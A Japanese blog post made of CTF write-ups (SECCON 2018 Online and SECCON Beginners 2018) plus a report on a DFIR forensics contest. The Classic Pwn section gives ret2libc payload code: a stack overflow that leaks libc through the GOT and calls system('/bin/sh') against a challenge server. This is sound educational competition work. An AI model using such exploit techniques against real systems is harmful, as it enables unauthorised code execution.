しかし，僕が参加者に理解してほしかったこととして，昨年あれほど話題になったWannaCryがどのようなパケットを発し，どのように感染を広げていくのか，その過程を少しでもわかってくれたらいいなと思っていて，その為100点問題なのにWriteupが少し長くなってしまったのですが，是非当日解いた方も一度読んでみて理解を深めてくれたら嬉しい限りです．

SECCON 2018 Online CTF Writeup

開催期間(JST)

10/27 PM3:00 ~ 10/28 PM3:00

結果

・チーム名：wabisabi

・得点：1201 pt

・順位：80/653

解いた問題

・Classic Pwn(Pwn 121pt)

・Runme(Reversing 102pt)

・Special Device File(Reversing 231pt)

・Special Instructions(Reversing 262pt)

・QRChecker(QR 222pt)

取り組んだが解けなかった問題

・History(Forensics 145pt)

・block(Reversing 362pt)

はじめに

今年も参加していました．もう3年くらいは出ているような？気がする．なかなか決勝が遠いです．今回はチームの初期メンバーで参加していましたが，去年より1ptしか得点変わらないのに順位が90位ぐらい上になっているのでやっぱり全体的に難化していたっぽい？各問題の点数はsolve数によって減っていくやつでした．以下，競技中に解けた問題のWriteupです．

Writeup

Classic Pwn(Pwn 121pt)

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

$  checksec classic_aa9e979fd5c597526ef30c003bffee474b314e22
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64bitでnot stripped．NXビットが有効なのでシェルコード実行とかは難しそう．

$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Classic Pwnable Challenge
Local Buffer >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Have a nice pwn!!
zsh: segmentation fault (core dumped)  ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

Local Bufferに書き込めるが，Buffer Over Flowがある．gdbのpattcでパターンを作り，offsetを調べる．

gdb-peda$ patto AAdAA3AA
AAdAA3AA found at offset: 64

RBPの値（"AAdAA3AA"）へのoffsetが64だったので，これにプラス8バイトした値がreturn addressへのoffsetになる．

RIPを奪えたので，libcのベースアドレスをリークしたい．

既にアドレス解決されている適当なGOT領域を，mainで使われていたputsなどでリークしていく．この時の戻り値はmainにしておく．以下のようなpayloadになる．(popretガジェットのアドレスはgdb-pedaの中で ropgadget コマンドで調べた)

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) # return address

リークしたアドレスからoffsetを引いてlibcのベースアドレスを求める．ついでにsystemへのアドレスも求めておく．以下のようになる．

leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

そしたら最後にもう1度stack bofさせてRIPをsystem_addrに移し，シェルを起動させる．

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

以下が，完成したexploit．

gist.github.com

$ python exploit.py
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base: 0x7f183f621000
system_addr: 0x7f183f666390
[*] Switching to interactive mode
Have a nice pwn!!
$ ls
classic
flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

Runme(Reversing 102pt)

力技で解いた...

実行すると以下のような画面が出る．

IDA Demoで見てみる．

赤く囲ったところの値が変化しているだけの同じような関数がいくつもあるので，その値を1つずつ抽出していった．

抽出した値を元に以下のようなスクリプトを書いておわり．

gist.github.com

$ python solve.py
C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}

Special Device File(Reversing 231pt)

$ file runme_8a10b7425cea81a043db0fd352c82a370a2d3373
runme_8a10b7425cea81a043db0fd352c82a370a2d3373: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped

問題文には坂井さんのcross-gccへのリンクとか，ここら辺見てみたいなのが書いてあったけど，結局自分で調べたりビルドしたものなどを使った．具体的には，qemu-aarch64を使って，gdbでリモートデバッグしながら解析した．（あとは aarch64-linux-gnu-objdump で逆アセンブルしたりとか）

$ qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu runme_8a10b7425cea81a043db0fd352c82a370a2d3373

こうすると1234番ポートで待ち受けてくれるので，gdbから接続するとリモートデバッグできる．gdbはgdb-multiarchを使った．

$ gdb-multiarch -q runme_8a10b7425cea81a043db0fd352c82a370a2d3373
Reading symbols from runme_8a10b7425cea81a043db0fd352c82a370a2d3373...(no debugging symbols found)...done.
gdb-peda$ set sysroot /usr/aarch64-linux-gnu/
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0x0000000000001400 in _start ()
gdb-peda$ b main

あとはステップ実行していくだけ．どうやらSIGSEGVするようなので原因を調べると，スタックに使用しているアドレスが良くないっぽいことがわかったので，スタックのアドレスをspレジスタへ入れていた_startを見てみる．

gdb-peda$ disas
Dump of assembler code for function _start:
=> 0x0000000000001400 <+0>:     ldr     x0, 0x1500 <_start>
   0x0000000000001404 <+4>:     mov     sp, x0
   0x0000000000001408 <+8>:     bl      0x16a4 <main>

0x1500にあるバイナリを見てみると変な値になっているので，vmmapとかでメモリマップを調べてwritableな領域（0x1a60とかにした）にバイナリを書き換えた．（あとでわかったけど，これはファイル中の最後ら辺，exitする辺りのコードだったっぽくて正しく終了しなかったけど，解析への影響は特になかった）

再度実行してみると， /dev/xorshift64 というファイルに固定値を書き込もうとしていることがわかった．だけど，うまくシステムコールが呼べていないっぽくて，逆アセンブル結果を眺めていたらシステムコールを呼ぶところがhlt命令になっていて，終了してしまう理由がわかった．それとシステムコール番号もおかしかったので，調べながら修正した．

修正前

修正後

ここまでの修正で，再度解析してみたところ以下のようなことが分かった．

・ /dev/xorshift64 に 0x139408dcbbf7a44 を書き込んでいて，その後それを読み出している（ /dev/xorshift64 は実行者権限で作っておいた）

・flagとrandvalという領域が存在し，randvalから取り出した1バイトと 0x139408dcbbf7a44 から取り出した1バイトをXORして，それとflagの1バイトをXORしている

・flagは32文字

だが，これでフラグが出力されるはずだと思って実行してみても 7NPblTJ.smFB という謎の文字列が出るだけ．これをsubmitしてみても通らないし，ここでものすごく時間を溶かした．

xorshift64というファイル名に注目してみた． どうやら乱数生成の方法にxorshiftという方法があり，ビットごとにxorshift32とかxorshift64などが存在するらしい．

また， 0x139408dcbbf7a44 という値を10進数にした 88172645463325252 を検索してみたところxorshiftのページがヒットした．どうやらこれはシード値っぽい．

ということで，xorshift64で生成した乱数32個の下位1バイトを復号処理に使えばいけるのではと考えて，以下のスクリプトを書いてみたところ正しく復号できた．

gist.github.com

python solve.py
SECCON{UseTheSpecialDeviceFile}

Special Instructions(Reversing 262pt)

終了1時間前に解けた．

Special Device Fileと同じような問題．ただし，fileコマンドではアーキテクチャが表示されず謎アーキ状態だったが，readelfを使ったところMoxieと出た．readelf優秀．

$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped

$ readelf -h runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
ELF ヘッダ:
  マジック:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
  クラス:                            ELF32
  データ:                            2 の補数、ビッグエンディアン
  バージョン:                        1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Moxie
  バージョン:                        0x1
  エントリポイントアドレス:               0x1400
  プログラムの開始ヘッダ:          52 (バイト)
  セクションヘッダ始点:          1936 (バイト)
  フラグ:                            0x0
  このヘッダのサイズ:                52 (バイト)
  プログラムヘッダサイズ:            32 (バイト)
  プログラムヘッダ数:                3
  セクションヘッダ:                  40 (バイト)
  セクションヘッダサイズ:            9
  セクションヘッダ文字列表索引:      8

Moxieなんて聞いたこともなかったのでなんやねんそれと思って調べていて，どうにか解析できる環境が構築できないか探っていた．結局以下のリポジトリのものをビルドして，中に入っていたMoxieに使えるgdbを使って解析した．

github.com

とにかく時間がなくて急いでいて，中にqemu-aarch64みたいな感じのqemu-moxieみたいなの入っていないかなと見てみてもなかったので（もしかしたらあったかも），リモートデバッグは諦めて静的解析のみで解いた．

$ moxie-none-moxiebox-gdb -q runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be

mainの逆アセンブル結果．

   0x000015a2 <+0>:     push    $sp, $r6
   0x000015a4 <+2>:     dec     $sp, 0x18
   0x000015a6 <+4>:     ldi.l   $r0, 0x92d68ca2
   0x000015ac <+10>:    jsra    0x154a <set_random_seed>
   0x000015b2 <+16>:    ldi.l   $r6, 0x1480
   0x000015b8 <+22>:    ldi.l   $r0, 0x1
   0x000015be <+28>:    ldi.l   $r1, 0x1654
   0x000015c4 <+34>:    jsr     $r6
   0x000015c6 <+36>:    ldi.l   $r0, 0x1
   0x000015cc <+42>:    ldi.l   $r1, 0x1680
   0x000015d2 <+48>:    jsr     $r6
   0x000015d4 <+50>:    ldi.l   $r0, 0x1
   0x000015da <+56>:    ldi.l   $r1, 0x169c
   0x000015e0 <+62>:    jsr     $r6
   0x000015e2 <+64>:    ldi.l   $r0, 0x1
   0x000015e8 <+70>:    ldi.l   $r1, 0x16ac
   0x000015ee <+76>:    jsr     $r6
   0x000015f0 <+78>:    ldi.l   $r0, 0x1
   0x000015f6 <+84>:    ldi.l   $r1, 0x16c4
   0x000015fc <+90>:    jsr     $r6
   0x000015fe <+92>:    ldi.l   $r0, 0x1
   0x00001604 <+98>:    ldi.l   $r1, 0x16e0
   0x0000160a <+104>:   jsr     $r6
   0x0000160c <+106>:   ldi.l   $r0, 0x1800
   0x00001612 <+112>:   ldi.l   $r1, 0x1820
   0x00001618 <+118>:   jsra    0x1552 <decode>
   0x0000161e <+124>:   mov     $r1, $r0
   0x00001620 <+126>:   ldi.l   $r0, 0x1
   0x00001626 <+132>:   jsr     $r6
   0x00001628 <+134>:   ldi.l   $r0, 0x1
   0x0000162e <+140>:   ldi.l   $r1, 0x167c
   0x00001634 <+146>:   jsr     $r6
   0x00001636 <+148>:   xor     $r0, $r0
   0x00001638 <+150>:   jsra    0x144a <exit>

直感でSpecial Device Fileと同じ形式だなと判断して，set_random_seedに渡しているっぽい 0x92d68ca2 を調べたところ，xorshift32のシード値に使われていたので，これはSpecial Device Fileと同じように復号すればいけそうと考えて，同じようにflagとrandvalを抜き出してきてスクリプトを書いた．

gist.github.com

$ python solve.py
SECCON{MakeSpecialInstructions}

QRChecker(QR 222pt)

終了30分前に解いたやつ．他の問題からの休憩や，ビルド待ちの時にサラっと見てはいたけど，解けてはいなかった．

与えられたURLにアクセスすると以下のようになっていて，pageはQRコードを判定するページ．srcは判定コードのソースコードが見れる．

ソースコードは以下．

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
print("Content-Type: text/html")
print("")
codes = set()
sizes = [500, 250, 100, 50]
print('<html><body>')
print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">')
print('<input type="file" name="uploadFile"/>')
print('<input type="submit" value="submit"/>')
print('</form>')
print('<pre>')
try:
    form = cgi.FieldStorage()
    data = form["uploadFile"].file.read(1024 * 256)
    image = Image.open(io.BytesIO(data))
    for sz in sizes:
        image = image.resize((sz, sz))
        result = zbarlight.scan_codes('qrcode', image)
        if result == None:
            break
        if 1 < len(result):
            break
        codes.add(result[0])
    for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")
except:
    pass
print('</pre>')
print('</body></html>')

リサイズしてzbarlight.scan_codesで読み取って，何も読み取れない（None）であればbreak，2つ以上読み取れてもbreakする．どうすればフラグが出るかというと，codesの中身が2つ以上あればいい．つまり，リサイズしていく課程で読み取る値に変化があればいいっぽい．

そこで，少し前に話題になったQRコードの脆弱性で，読み取る文字が確率で変わるQRコードがいいのでは，と思った．確か神戸大学の先生が発表していたやつ．

news.yahoo.co.jp

しかし，ここにあるQRコードをスクショして使ってみたところ上手くいかない．もう少し誤認識する確率をあげてみる．このQRコードの仕組みは右側のデータコード語部分と左側のエラー訂正コード語の部分で格納されている文字が違っていて，かつ１ヵ所を灰色っぽい曖昧な色で塗っておくと可能，みたいな感じだったと思うので１ドット灰色っぽくなっているところをWindowsのペイントでもう少し濃くしてみた．（著作権の関係がありそうなので画像は無しで）

出来上がったQRコードを投げてみると無事通った．

取り組んだが解けなかった問題

History(Forensics 145pt)

最後までなんのファイルなのかわからなかった...

WriteupみてみるとUSN Journalとか言っていて，この前のDFIRチャレンジで先輩に教えてもらったやつやん...となった．

block(Reversing 362pt)

apkが配布される．CEDEC CHALLENGEで培った知見が役に立つのではと思ってやってみたけどダメだった．

il2cppは使われていなかったのでAssembly-CSharp.dllをdnspyでデコンパイルしてフラグが回転しているのでrotationのところを回転止めて横にずらすなりすればフラグが見えそうだなと思ったけど，書き換えるのが大変そうだった．nopにして回転止めるのは簡単だったけどそこからは手詰まり．

おわりに

毎年順位は上がっているんだけど，今年はようやく１００位以内には入れて，しかも８０位ということで大躍進できたんじゃないかなと思う．開始前はPwnとか全然準備してないしあかん...と思ってたけどRevが少し解けたので良かった．Pwnは解かれていた他の２つを解いてみようとしたけど，どちらもヒープ臭がしたので速攻で諦めた．Pwn精進していきたい感がある...

Revのいろんなアーキテクチャ問題は面白かった．xorshiftで生成される乱数の下位１ビットを使って復号するということに気づくまで時間がかかったけど，２つの知らないアーキテクチャのアセンブリを読むのは割と楽しかった．

知っている日本チーム数えてみたけど国内決勝は行けなそうなので来年こそは...

「TMCIT × 大和セキュリティ勉強会DFIR忍者チャレンジ」に参加した

はじめに

金銭面的に参加しようか迷っていたのですが，参加してきました．今バイト先でフォレンジック業務を担当していたりすることもあって，めちゃ勉強になることが多く，とても最高な2日間だったので簡単に書いておこうと思います．帰りの夜行バスがめちゃくちゃ辛かったです．

DFIR忍者チャレンジとは

yamatosecurity.connpass.com

初の東京開催となった大和セキュリティさんのイベントであり，フォレンジックコンテストです．10月7日～8日の2日間に渡って開催されました．元々は4月に神戸で開催されたものだとか？当日やることとしては，主催者の田中ザックさんからフォレンジック講義があり，そのあとコンテストの説明後，競技がスタートします．競技はチーム戦なのですが，1チーム4人から6人ぐらいで構成されていて，20チームあったので参加人数は80人以上いたと思います．2日目のお昼頃に報告書を提出し，最終的にTOP８班だけが発表して優勝チームが決定されます．

コンテストの感想

オンラインコンテスト化？される予定らしくて競技の詳しい内容は書けないので，書けることだけ．

前日ぐらいに，元大学の先輩が参加されることがわかったので，当日は合流して一緒のチームとして参加させて頂きました．チームメンバーには監視業務をやられている方や高専生などがいて，計4人のチームでした．会場を見て驚いたのが，某インターンで見かけた企業の人やセキュリティ系のイベントで見かける人だったり，とにかく強そうな方ばかりでしたので，恐る恐る参加していました．

コンテストが始まってからはHDDイメージに関して自分ができることをやっていたり，たまに隣にいた先輩の手伝いをしたりしていました．パケットキャプチャデータとメモリダンプに関しては残りの2人が作業してくれていて，やはり先輩含め社会人のお二人の作業がとても速くてすごかったです．パケットに関しては，見覚えがあるパケットデータを見つけることができ，少し貢献できたかなと思います．それぞれがかき集めた証拠などを元に時系列を作成しながらなにが起きたのかを把握していく様はとてもチームでフォレンジックをしている感を感じました．

結果としてはTOP８に入ることができましたが，やはり他のチームのレベルが高かったです．他のチームの発表では，自分たちがわからなかった部分の詳細などを聞くことができ，どのチームもレベルの高い発表をしていて聞き入ってしまいました．

その後はザックさんから解説があったり表彰式があったり，最後には写真撮影をしてコンテストは終了しました．

初日では情報量がめちゃくちゃ多いザックさんのフォレンジック講義を受けることができたり，2日目では川崎隆哉さんからWindows10の新しいアーティファクトを見つけた話を聞くことができたり，

padawan-4n6.hatenablog.com

コンテストは問題の構成や質がとても高かったり，本当に濃密な2日間でした．

最後になりますが，運営・関係者の皆様，本当に楽しいフォレンジックコンテストを開催していただき，ありがとうございました！

（TOP８はBランク中忍になれるらしいです）

SECCON Beginners CTF 2018 Activation & crackme

はじめに

ちょうど帰省していて，少しだけ時間があったのでぼっちで参加してみました．チーム名は，テレビでFoxチャンネルのリスナーって海外ドラマが流れていたのと，途中でANAのCMが流れていたので"foxana"です．適当です．

本当の初心者しか参加してはいけないのかと思ってたら割といろんな人が参加していたので，メンバーに声かけていつものチームで参加すればよかったかなぁと思いました．

スコアは1014ptで72位でした．Writeupはいろんな人が書いてくれると思うので，僕はReversingのWarmup以外の2問を簡単に書いておきます．

Activation

問題文

この問題の FLAG は ctf4b{アクティベーションコード} です。

$ file Activation.exe
Activation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net assemblyなのでdnspyでデコンパイルしてみます．

僕の環境だとdriveinfoのところでflagがtrueになってくれなくて（CDドライブがないから？），そもそもアクティベーションコードを入力するところまでいかなかったので，赤くなっている部分にブレークポイントをしかけて無理やりflagをtrueにしました．

重要なのは選択しているif文のところです．ここで，入力したアクティベーションコードが正しいかのチェックをしています． 実行してここでステップインすることで，Cという関数の中でなにをやっているのかを見ていきます．

AESで暗号化しているっぽいので，適当な場所で止めてIVとKeyの値を控えます．

また，これを E2AA8B78-798D-49BF-B9E7-13D334768E86.F() と比較しているのでこれも何が入っているのか調べます．

あとは復号するスクリプトを書くだけです． E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5 が E2AA8B78-798D-49BF-B9E7-13D334768E86.F() の中身です．

gist.github.com

デコンパイルしたC#コードをそのまま使ったので，実行環境がない人は

paiza.io

とか使うといいかもです．

以上より，フラグは ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5} です．

crackme

問題文

バイナリを解析して、入力値を求めてください。

$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7e64cdb9686f4ec7c55701b9bbf8b69417da0c46, stripped

コマンドライン引数としてフラグを与えて，それが正しいかどうか検証しています．

$ ./crackme
usage: ./crackme <FLAG>%                                                                                                                                                                                 $ ./crackme hoge
Try again...% 

objdumpで逆アセンブルしてみると，mainで2つの関数を読んでいることがわかります．一つは

  400978:   e8 09 fe ff ff         call   400786 <exit@plt+0x2c6>

で，もう１つは

  40098f:    e8 42 fc ff ff         call   4005d6 <exit@plt+0x116>

です．

あとは，具体的な処理を追う為にgdbで実行していきます．

この２つの関数は入力値検証関数で，それぞれ前の16バイト，後ろの16バイトを検証しています． 一つ目の関数を見てみると，検証するための値として，以下の16バイトの値をスタックに置いています．

0032| 0x7fffffffc8f0 --> 0x3f7b64683e8c9e9c
0040| 0x7fffffffc8f8 --> 0x641e73557f0a6350

入力値に対して特定の処理を施した結果がこれらと等しいかどうかを1バイトずつ検証していきます．入力値に対してどのような処理をするのかというと，以下のような処理を4回繰り返すことで16バイトの値それぞれに対して検証しています．これ↓は1周目の値です．meと名前を付けましたが，この変数はスタック上に保存されている値で，これを変化させながら計算処理に使用しています．

# first
入力値の1バイト目とme(0xff)とのxor
0x9cとの比較

# second
me(0xff)と0x15のxor -> me(0xea)
入力値の2バイト目とme(0xea)とのxor
0x9eとの比較

# third
me(0xea)と0x20のor -> me(0xea)
入力値の3バイト目とme(0xea)とのxor
0x8cとの比較

# fourth
me(0xea)と0xfのand -> me(0xa)
入力値の4バイト目とme(0xa)とのxor
0x3eとの比較

どんな処理をしているのかがわかったので，あとは2つ目の検証関数も見ていくだけですが，2つ目の検証関数の処理は少々複雑(他の人のwriteupを見る限り大したことやってない…？なにを見ていたのか…)で，z3で書くのが辛かったので，angrを使ってみました．

以下がangrを使って書いたスクリプトです．

gist.github.com

コマンドライン引数で渡すタイプのangrの書き方がわからなくて，hamaさんのブログを参考にしました．

hama.hatenadiary.jp

（参考というかほぼ丸パクリですね...）

重要なのはfindの部分とavoidの部分で，findはmain関数にて”正しい値か正しくない値かで最後の出力を分岐しているところ”があるので，このアドレスを入れています．avoidに書いた9つの値は，1つは”mainにある間違った値が入力されたときに通る箇所”，もう4つは”検証関数１にて，間違った値が入力されたときに通るアドレス”，残りの4つは”検証関数2にて，間違った値が入力されたときに通る箇所”です．

これを実行するとフラグが出てきます．

$ python solve_angr.py
WARNING | 2018-05-27 14:39:50,238 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2018-05-27 14:39:51,556 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval(expr, cast_to=str) instead of any_str
'ctf4b{D0_y0u_l!k3_x86_4ssembly?}'

よってフラグは， ctf4b{D0_y0u_l!k3_x86_4ssembly?} です．

検証関数1だけの処理を書いて諦めたz3バージョンも載せておきます．このスクリプト，なんとフラグが半分だけ求まります．

gist.github.com